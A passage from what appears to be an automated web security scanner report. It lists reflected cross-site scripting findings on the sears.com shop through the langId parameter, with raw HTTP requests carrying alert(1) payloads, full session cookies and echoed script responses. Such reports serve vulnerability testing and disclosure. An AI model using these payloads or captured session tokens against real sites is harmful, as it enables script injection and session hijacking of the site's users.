GET /shc/s/Logoff?langId=-180efb'-alert(1)-'c7aded6b4c0&storeId=10153&catalogId=12605&personalizedCatalog=true&URL=SSOLogoffView&rememberMe=false HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-180efb'-alert(1)-'c7aded6b4c0&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80251'-alert(1)-'c9d66315a2c was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/LogonForm?langId=-180251'-alert(1)-'c9d66315a2c&storeId=10153&catalogId=12605&URL=TopCategoriesDisplay HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-180251'-alert(1)-'c9d66315a2c&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59c66'-alert(1)-'46c01fb8d45 was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/OpenIdModalPopUpView?langId=-159c66'-alert(1)-'46c01fb8d45&storeId=10153&catalogId=12605&OIDFlowType=&OIDIdentifier=&errorMessage=&globalId=&mergeStatus=&user_state=&partNumber=&catEntryIdScim=&RegistryType=&qty_GR=&fromPage=&clubIdForUser=&pwdErrorCode=&emailErrorCode=&userregbean= HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-159c66'-alert(1)-'46c01fb8d45&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f0abf'-alert(1)-'f6442f1fc2a was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/OrderStatusLoginModalView?langId=-1f0abf'-alert(1)-'f6442f1fc2a&storeId=10153&catalogId=12605&shcapiBypassSSO=true HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1f0abf'-alert(1)-'f6442f1fc2a&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff1db'-alert(1)-'1ae8bf9ac1d was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/StoreLocatorView?storeId=10153&catalogId=12605&langId=-1ff1db'-alert(1)-'1ae8bf9ac1d&adCell=WF HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1ff1db'-alert(1)-'1ae8bf9ac1d&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b418'-alert(1)-'28f498b3a53 was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/UserAccountView?storeId=10153&catalogId=12605&langId=-14b418'-alert(1)-'28f498b3a53&editRegistration=Y HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-14b418'-alert(1)-'28f498b3a53&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8372f'-alert(1)-'614f5b907db was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/UserLoginModalView?langId=-18372f'-alert(1)-'614f5b907db&storeId=10153&catalogId=12605&shcapiBypassSSO=true HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; 